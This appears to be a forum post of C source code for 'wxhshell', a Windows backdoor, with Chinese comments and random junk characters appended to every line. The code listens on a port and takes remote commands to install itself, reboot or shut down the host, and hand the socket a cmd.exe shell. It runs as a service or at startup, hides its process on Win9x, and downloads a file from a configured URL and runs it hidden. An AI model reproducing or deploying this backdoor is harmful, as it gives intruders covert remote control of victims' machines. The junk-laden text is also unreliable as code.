  5;r({ J  
  // 帮助 A{xSbbDk  
  case '?': { y}s 0J K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O%r S;o  
    break; :==UDVP  
  } lsTe*Od  
  // 安装 !H2C9l:rd  
  case 'i': { '5&B~ 1&  
    if(Install()) &Z#Vw.7U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Xt=eL/P  
    else 5<0Yh#_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ] I N -  
    break; hg)!m\g  
    } p?EEox  
  // 卸载 y}.y,\S0  
  case 'r': { 2d,wrC<'$  
    if(Uninstall()) mE)x7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M$DwQ}Z  
    else #l8K8GLuf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;tZ}i4Ud  
    break; C={sE*&dYX  
    }  p1[WGeV  
  // 显示 wxhshell 所在路径 f)!{y> Q  
  case 'p': { /jn:e"0~  
    char svExeFile[MAX_PATH]; ZVCv(J  
    strcpy(svExeFile,"\n\r"); B)LXxdkOn  
      strcat(svExeFile,ExeFile); /0'fcjOaQ  
        send(wsh,svExeFile,strlen(svExeFile),0); U^WQWa  
    break; 7]0\[9DyJ  
    } "'LOaf$X  
  // 重启 tFb|y+  
  case 'b': { 2l;ge>D J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c;A ew!  
    if(Boot(REBOOT)) 0:nt#n~_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u!156X?[eU  
    else { IrVM|8vT3  
    closesocket(wsh); vwSX$OZ  
    ExitThread(0); Fp* &os  
    } Av\ 0GqF  
    break; HvL9;^!  
    } *>R/(Q  
  // 关机 eFeCS{LV+  
  case 'd': { 'JXN*YO  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `jl. f  
    if(Boot(SHUTDOWN)) G/^5P5y%@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rSzXa4m(  
    else {  Q}`2Y^.  
    closesocket(wsh); h_}BmJh_  
    ExitThread(0); lqwJ F &  
    } M 2U@gC|{  
    break; ESXU, qK]v  
    } |R|U z`  
  // 获取shell kgib$t_7  
  case 's': { 3]5&&=#  
    CmdShell(wsh); #gr+%=S'6C  
    closesocket(wsh); VA*79I#_q  
    ExitThread(0); F'T= Alf  
    break; Jh hT7\h(  
  } `dq3=  
  // 退出 EKI+Dq,  
  case 'x': { HhT8YH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Toa#>Z*+Rb  
    CloseIt(wsh); k}owEBsn}  
    break; f1,$<Y|qU  
    } -p]`(S%  
  // 离开 8aIq#v  
  case 'q': { 4N^Qd3[d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yk*57&QI  
    closesocket(wsh); R,b O{2O  
    WSACleanup(); ?5+KHG*)  
    exit(1); D -\'P31  
    break; U Edl"FwM4  
        } bm]dz;ljh  
  } .]d tRH<  
  } kJ5?BdvM&  
@):NNbtA  
  // 提示信息 fgz'C?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8f`b=r(a>  
} 7ump:|  
  } P+cFp7nC  
R5~vmT5W  
  return; nfPl#]ef*  
} "rlSK >`  
38.J:?Q  
// shell模块句柄 uL{~(?U$  
int CmdShell(SOCKET sock) -JW6@L@  
{ 7Mb t*[n  
STARTUPINFO si; ""KN?qh9  
ZeroMemory(&si,sizeof(si)); &_x/Dzu!z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x@R A1&c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^Ypx|-Vu!  
PROCESS_INFORMATION ProcessInfo; .mU.eLM  
char cmdline[]="cmd"; 1H@rNam&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ej3hdi)  
  return 0; HC`3AQ12!&  
} h[)aRo  
8@*|T?r  
// 自身启动模式 uF|ix.R6  
int StartFromService(void) -{sv3|P>  
{ FH5bC6  
typedef struct bB :X<  
{ m6ws #%|[  
  DWORD ExitStatus; vrldRn'*9  
  DWORD PebBaseAddress; j24  
  DWORD AffinityMask; Xr6 !b:UX  
  DWORD BasePriority; gBS#Z.  
  ULONG UniqueProcessId; 1X}Tp\e  
  ULONG InheritedFromUniqueProcessId; F0(Sv\<::  
}   PROCESS_BASIC_INFORMATION; 40sLZa)e  
;GE u.PdxB  
PROCNTQSIP NtQueryInformationProcess; #\;w::  
-ZON']|<}k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M HB]'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &>b1ES.>  
,5"]K'Vce  
  HANDLE             hProcess; 32FGDM  
  PROCESS_BASIC_INFORMATION pbi; y$Noo)Z  
Z|GkM5QH:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T1di$8  
  if(NULL == hInst ) return 0; dct#E CT  
U: jf9L2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \)]2Uh|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TRok4uc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ABDUp:  
M\6v}kUY  
  if (!NtQueryInformationProcess) return 0; ?7ZlX?D[  
z$5C(!)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {xoo9jq-  
  if(!hProcess) return 0; ~8{3Fc0  
ck+rOGv7{Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GLF"`M/g  
sB/s17ar  
  CloseHandle(hProcess); v('d H"Y  
GP'Y!cl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "uC*B4`  
if(hProcess==NULL) return 0; :J-5Q]#  
Z!eq/  
HMODULE hMod; -y.AJ~T  
char procName[255]; _=x_"rz x  
unsigned long cbNeeded; A\.*+k/B  
XOU$3+8q5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cw5K*  
&/?jMyD@  
  CloseHandle(hProcess); ,?/<fxIY  
rv%[?Ml  
if(strstr(procName,"services")) return 1; // 以服务启动  RZ%X1$  
j!)p NZW.<  
  return 0; // 注册表启动 [ 1GEe  
} eR`<9KBH  
W2N7  
// 主模块 VC7F#a*V  
int StartWxhshell(LPSTR lpCmdLine) 9#6/c  
{ b{Ss+F  
  SOCKET wsl; 6Qu*'  
BOOL val=TRUE; R!G7;m'N1  
  int port=0; vDvGT<d  
  struct sockaddr_in door; <DS6-y  
ulM&kw.4i  
  if(wscfg.ws_autoins) Install(); >6+K"J-@  
CF_!{X_k}  
port=atoi(lpCmdLine); BB$>h-M/%#  
s\!vko'M  
if(port<=0) port=wscfg.ws_port; V p{5Kxq  
Ghc0{M<  
  WSADATA data; T_T{c+,Zd$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !g"9P7p  
*, K \A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T@.D5[q0:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {[ *_HAy7  
  door.sin_family = AF_INET; 7!;/w;C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cO&9(.d  
  door.sin_port = htons(port); I1O?)x~  
!k9h6/ b6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F\bI6gj  
closesocket(wsl); C|LQYz-{  
return 1; lJ#>Y5Qg  
} _9r{W65s  
d?Cl04  
  if(listen(wsl,2) == INVALID_SOCKET) { t@M] ec  
closesocket(wsl); J7o?h9  
return 1; G9Tix\SpF  
} cyg>h X{U  
  Wxhshell(wsl); DU8LU*q'  
  WSACleanup(); Uiw7Y\Im|  
U{(07GNm#  
return 0; Ms)zEy>[Ql  
]M;! ])b$  
} ZQA C &:  
|>GIPfVT  
// 以NT服务方式启动 p>3'77 V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >/bK?yT<  
{ " SqKS,J  
DWORD   status = 0; y/eX(l<{  
  DWORD   specificError = 0xfffffff; zAJUL  
uF"`y&go  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *wcoDQ b;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~W{h-z%q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [)vwg`]   
  serviceStatus.dwWin32ExitCode     = 0; ^?[<!VBI  
  serviceStatus.dwServiceSpecificExitCode = 0; ygt)7f5  
  serviceStatus.dwCheckPoint       = 0; VTfaZ/e.  
  serviceStatus.dwWaitHint       = 0; \w[%n0  
6qpV53H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F6VIH(  
  if (hServiceStatusHandle==0) return; N\p]+[6  
yt: V+qdv  
status = GetLastError(); @rE )xco  
  if (status!=NO_ERROR) q.km>XRk~  
{ 6FMW g:{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?^4sE-C6  
    serviceStatus.dwCheckPoint       = 0; '$-,;vnP0  
    serviceStatus.dwWaitHint       = 0; ER1mA:8>E  
    serviceStatus.dwWin32ExitCode     = status; X>8?p'*  
    serviceStatus.dwServiceSpecificExitCode = specificError; s/H"Ab  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )0MshgM  
    return; ;I71_>m  
  } X$Vz  
D#}Yx]Q1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]GKx[F{)  
  serviceStatus.dwCheckPoint       = 0; g_c)Ts(  
  serviceStatus.dwWaitHint       = 0; _x1[$A,GuB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a;(zH*/XK  
} i9k]Q(o  
#(g+jb0E  
// 处理NT服务事件,比如:启动、停止 E wsq0D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y]f^`2L!8>  
{ \OT)KVwO  
switch(fdwControl) UZXcKl>u  
{ f.)F8!!  
case SERVICE_CONTROL_STOP: ai  _fN  
  serviceStatus.dwWin32ExitCode = 0; m{dyVE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0W%}z}/ N  
  serviceStatus.dwCheckPoint   = 0; TM}'XZ&  
  serviceStatus.dwWaitHint     = 0; #_\MD,(  
  { A-C)w/7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6cT~irP  
  } [*{\R`M  
  return; %g@3S!lK  
case SERVICE_CONTROL_PAUSE: VSpt&19  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >VUQTg  
  break; KSB_%OI1  
case SERVICE_CONTROL_CONTINUE: jl-Aos"/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /,N!g_"Z  
  break; Y\Qxdq  
case SERVICE_CONTROL_INTERROGATE: 'BdmFKy1  
  break; Hu(flc+z"  
}; Y!1^@;)^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xD= qU  
} hN:F8r+DG  
Pn'(8bRm  
// 标准应用程序主函数 f,HzrHax  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p@7i=hyt`p  
{ m{$tO;c/Q  
tGO[A#9a  
// 获取操作系统版本 ncJFB,4  
OsIsNt=GetOsVer(); E?gu(\an@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =Q8H]F  
[[0bhmG)  
  // 从命令行安装 S|q!? /jqj  
  if(strpbrk(lpCmdLine,"iI")) Install(); Op/79 ]$  
XL7;^AE^Wl  
  // 下载执行文件 (4 /]dTb  
if(wscfg.ws_downexe) { 0gOrW=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bxhg*A  
  WinExec(wscfg.ws_filenam,SW_HIDE); y LgKS8b  
} 2}Z4a\YX  
',H$zA?i  
if(!OsIsNt) { 42J';\)oP  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y7kb1UG  
HideProc(); BU]WN7]D$  
StartWxhshell(lpCmdLine); *bxJ)9B  
} o!=l B fI  
else /y9J)lx  
  if(StartFromService()) i2FD1*=/?  
  // 以服务方式启动 j.;  
  StartServiceCtrlDispatcher(DispatchTable); fZ6 fV=HEF  
else .mT#%ex  
  // 普通方式启动 "0'*q<8  
  StartWxhshell(lpCmdLine); \>Ga-gv6/  
5@UC c  
return 0; s !hI:$J.  
}
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只看该作者 1 发表于: 2006-10-10
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